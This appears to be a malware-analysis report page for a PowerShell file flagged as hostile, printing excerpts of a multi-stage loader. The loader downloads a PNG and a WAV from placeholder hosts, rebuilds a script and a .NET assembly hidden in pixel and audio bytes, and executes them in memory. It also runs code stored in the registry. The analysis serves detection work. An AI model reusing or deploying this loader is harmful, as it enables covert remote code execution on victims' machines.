Hostile 100% powershell Download

multistage_media_loader.ps1

Multi-stage steganography payload execution

PowerShell executes a script reconstructed from bitmap red-channel bytesPowerShell executes an in-memory assembly reconstructed from WAV low nibbles
SHA-256c0516c2dd159acfc098f83ceb50b32e4e646e9091a50017e63040150f3fea85d

Evidence

Reads buffer after fixed 44-byte header lines 1–48
1function Invoke-RegistryStage {
2 $source = (Get-ItemProperty -Path 'HKLM:\Software\MediaCache' -Name 'Stage').Stage
3 & ([ScriptBlock]::Create($source))
4}
5
6function Resolve-PayloadLocation {
7 param([string]$DiscoveryName)
8
9 $answer = Resolve-DnsName -Name $DiscoveryName -Type TXT -DnsOnly -ErrorAction Stop
10 $txt = $answer | Where-Object { $_.Type -eq 'TXT' } |
11 Select-Object -ExpandProperty Strings
12 [System.Text.Encoding]::ASCII.GetString(
13 (($txt -split ',') | ForEach-Object { [byte]$_ })
14 )
15}
16
17function Invoke-RedChannelStage {
18 param([string]$ImageUrl)
19
20 $imagePath = Join-Path $env:TEMP 'cache.png'
21 (New-Object Net.WebClient).DownloadFile($ImageUrl, $imagePath)
22 Add-Type -AssemblyName System.Drawing
23 $bitmap = [System.Drawing.Bitmap]::new($imagePath)
24 $red = [IO.MemoryStream]::new()
25 for ($y = 0; $y -lt $bitmap.Height; $y++) {
26 for ($x = 0; $x -lt $bitmap.Width; $x++) {
27 $pixel = $bitmap.GetPixel($x, $y)
28 $red.WriteByte([byte]$pixel.R)
29 }
30 }
31 $script = [Text.Encoding]::UTF8.GetString($red.ToArray()).Trim([char]0)
32 & ([ScriptBlock]::Create($script))
33}
34
35function Get-WavNibblePayload {
36 param([string]$Path)
37
38 $stream = [IO.File]::Open($Path, [IO.FileMode]::Open, [IO.FileAccess]::Read)
39 $raw = New-Object byte[] $stream.Length
40 $stream.Read($raw, 0, $raw.Length) | Out-Null
41 $stream.Close()
42
43 $offset = 44
44 $lengthBytes = New-Object byte[] 4
45 for ($i = 0; $i -lt 4; $i++) {
46 $lengthBytes[$i] = [byte]((($raw[$offset + $i * 2] -band 0x0F) -shl 4) -bor
47 ($raw[$offset + $i * 2 + 1] -band 0x0F))
48 }
ORs a second PowerShell low nibble lines 53–62
53:16… d[$i] = [byte]((($raw[$dataOffset + $i * 2] -band 0x0F) -shl 4) -bor
54 ($raw[$dataOffset + $i * 2 + 1] -band 0x0F))
55 }
⋯7 lines
PowerShell HTTP/HTTPS URL literal lines 63–71
63:9… -Object Net.WebClient).DownloadFile($AudioUrl, $audioPath)
64 $assemblyBytes = Get-WavNibblePayload $audioPath
65 $assembly = [Reflection.Assembly]::Load($assemblyBytes)
66 $assembly.EntryPoint.Invoke($null, $null) | Out-Null
67}
68
69$locator = Resolve-PayloadLocation 'stage.example.invalid'
70Invoke-RedChannelStage 'https://cdn.example.invalid/media/cache.png'
71Invoke-WavAssembly 'https://cdn.example.invalid/media/device-cache.wav'

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.